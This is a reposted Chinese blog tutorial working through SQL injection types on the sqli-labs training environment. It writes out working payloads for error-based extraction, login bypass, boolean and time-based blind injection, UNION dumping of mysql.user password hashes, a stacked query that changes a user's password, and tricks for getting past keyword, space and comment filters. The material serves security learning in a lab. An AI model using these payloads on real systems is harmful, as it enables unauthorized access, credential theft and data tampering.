0


SQL注入及实战

SQL注入及实战

本文记录各种SQL注入类型的实操过程

SQL注入定义:由于程序中对用户输入检查不严格,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入

SQL注入本质:对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行。

实战环境:VMware Workstations、Kali虚拟机、SQL注入测试靶机、xampp、部署sqli-labs

一. 单引号报错注入

含义:参数中加入单引号,导致sql语句单引号不能闭合,引发报错

目的:通过一种简单的方法快速检测目标系统是否存在SQL注入漏洞

  1. 通过正常访问方式查看Dumb用户的密码http://ip/sqli-labs/Less-1/?id=1

在这里插入图片描述

  1. 访问http://ip/sqli-labs/Less-1/?id=1’出现报错,说明存在漏洞(因为传入 1’ 后,SQL语句变成 select * from users where id=‘1’',导致单引号不能闭合)

在这里插入图片描述

二. 基于报错回显

显注:注入后,web界面返回指定的数据或数据库引擎报错信息,攻击者可直接从返回信息中获取到所需的数据

含义:将所需要的数据作为错误回显

自己ip:http://192.168.93.129 加上所传入的参数构成完整url,借助SQL靶机环境就可以进行验证

传入参数:/sqli-labs/Less-1/?id=1’ union select 1,updatexml(1,concat(0x7e,VERSION()),1) – 1

在这里插入图片描述

三. 万能密码登录

含义:采用or改变登录验证的逻辑,绕过密码验证

目的:在不知道密码的情况下,利用“万能密码”登录到目标系统

  1. Username 输入admin Password 随意输入,比如1,发现登录失败,结果如下

在这里插入图片描述

在这里插入图片描述

  1. 采用万能密码 传入参数passwd=1’ or username=‘admin’ – 1 发现登录成功,结果如下SQL语句变为:SELECT username, password FROM users WHERE username=‘admin’ and password=‘1’ or username=‘admin’ – 1’ LIMIT 0,1;

在这里插入图片描述

在这里插入图片描述

四 、盲注

盲注含义:注入后,web界面不直接返回数据库的数据,需要通过其他方式获取到数据库中的数据。盲注又分为基于时间的盲注、基于布尔的盲注、基于dnslog的盲注

1. 基于布尔的盲注

含义:查询语句中“真”和“假”返回的页面不一样,构造逻辑判断的语句,判断数据库中的数据

目的:对目标链接进行测试,加入逻辑判断语句,验证目标链接是否存在漏洞(如果存在,就可以获取其他信息,比如这里的数据库长度)

  1. 传入 /sqli-labs/Less-8/?id=1’ and 1=1 – 1 返回 you are in

在这里插入图片描述

  1. 传入 /sqli-labs/Less-8/?id=1’ and 1=2 – 1 没有返回you are in 说明存在漏洞

在这里插入图片描述

判断存在漏洞后,可以利用该漏洞来获得数据库长度,如以下3、4点:

  1. 传入 /sqli-labs/Less-8/?id=1’ and length(database())=7 – 1 测试数据库长度,没有返回you are in,说明数据库长度不是7

在这里插入图片描述

  1. /sqli-labs/Less-8/?id=1’ and length(database())=8 – 1 返回you are in,说明数据库长度为8

在这里插入图片描述

2. 基于时间的盲注

含义:构造逻辑判断加上时间延迟,根据时间延迟判断逻辑判断是否成立

目的:对目标链接进行测试,加入时间延迟语句,验证目标链接是否存在漏洞(如果存在,就可以获取其他信息,比如这里的数据库长度)

  1. 传入 /sqli-labs/Less-9/?id=1’ and sleep(3) – 1 根据有时间延迟判断存在时间盲注

SQL语句变为:SELECT * FROM users WHERE id=‘1’ and sleep(3) – 1’ LIMIT 0,1

在这里插入图片描述

  1. 传入 /sqli-labs/Less-9/?id=1’ and if(length(database())=8 ,sleep(3),true) – 1 根据有时间延迟判断数据库长度为8

在这里插入图片描述

五. 联合查询注入

含义:采用union查询,来获取其他表的信息

目的:通过联合查询,获取数据库root用户的密码hash(必须root用户,不需要解密成明文)

传入 /sqli-labs/Less-1/?id=1’ UNION (SELECT 0,User,Password FROM mysql.user) ORDER BY id; – 1

SQL语句变为:SELECT * FROM users WHERE id=‘1’ UNION (SELECT 0,User,Password FROM mysql.user) ORDER BY id; – 1’ LIMIT 0,1;

在这里插入图片描述

成功从mysql库的user表中获取到login用户的密码hash,并且能够解密出明文密码

六. 堆叠查询注入

含义:通过;符号,将多条sql语句叠加一起执行,堆叠查询注入危害更大,可以执行任何sql语句

目的:修改用户密码

传入 /sqli-labs/Less-38/?id=1’;update users set password=‘test’ where username=‘Dumb’;-- 1

SQL语句变为:SELECT * FROM users WHERE id=‘1’;update users set password=‘test’ where username=‘Dumb’;-- 1’ LIMIT 0,1

在这里插入图片描述

成功修改Dump数据库的密码为”test”

七、进阶利用(绕过)

为什么需要绕过?网站或者安全防护设备中,对传入参数进行了一些敏感字符过滤,导致无法成功注入,需要通过一些手段绕过敏感字符过滤

1. 绕过注释过滤注入

含义:对–、#字符进行了过滤,导致sql语句单引号无法闭合

传入 /sqli-labs/Less-23/?id=1’ or 1=1 – 1

那么 id=1’ or 1=1 – 1,–被过滤掉后,变成id=1’ or 1=1 1

SQL语句变为:SELECT * FROM users WHERE id=‘1’ or 1=1 1’ LIMIT 0,1 单引号没有闭合,语句执行报错

在这里插入图片描述

所以,通过手动增加单引号进行闭合,id=1’ or 1=1 or 1=’

SQL语句变为:SELECT * FROM users WHERE id=‘1’ or 1=1 or 1=‘’ LIMIT 0,1

在这里插入图片描述

2. 逻辑运算过滤绕过

含义:对and、or进行过滤,导致sql执行报错

传入 /sqli-labs/Less-25/?id=1’ or 1=1 – 1

id=1’ or 1=1 – 1过滤后变成id=1’ 1=1 – 1,运行报错

在这里插入图片描述

解决办法?将and替换成&&或者anandd,or替换成||或者oorr,可成功运行

将参数改为 id=1’ oorr 1=1 – 1 将or变成 oorr 运行成功

在这里插入图片描述

将参数改为 id=1’ || 1=1 – 1 将or变成 || 运行成功

在这里插入图片描述

3. 空格过滤绕过

含义:对空格进行过滤,导致SQL执行报错

传入 /sqli-labs/Less-26b/?id=1’ or 1=1 or 1=’

在这里插入图片描述

id=1’ or 1=1 or 1=‘过滤后变成id=1’or1=1or1=’ 导致SQL执行出错

SQL语句中制表符、新行、新页、return、()、/**/等都可以代替空格

将参数改成id=1’//or//1=1//or//1=’

在这里插入图片描述

4. union和select过滤绕过

含义:对union和select进行过滤,导致SQL执行报错

传入 /sqli-labs/Less-27b/?id=1’ UNION (SELECT 0,User,Password FROM mysql.user) ORDER BY id; – 1

在这里插入图片描述

过滤后id=1’ ( 0,User,Password FROM mysql.user) ORDER BY id; – 1

将union和select大小写混写,或双写:

将参数改为 id=1’ uNion (sElect 0,User,Password FROM mysql.user) ORDER BY id; – 1

在这里插入图片描述

将参数改为 id=1’ UNUNIONION (SESELECTLECT 0,User,Password FROM mysql.user) ORDER BY id; – 1

在这里插入图片描述
总结:学习SQL注入的各种类型(单引号报错注入、基于报错回显、万能密码登录、盲注(基于时间、基于布尔、基于DNSLOG)、联合查询、绕过(注释过滤、逻辑运算、空格过滤、union和select过滤、))以及实操。


本文转载自: https://blog.csdn.net/hxhabcd123/article/details/126567642
版权归原作者 hxh207 所有, 如有侵权,请联系我们删除。

“SQL注入及实战”的评论:

还没有评论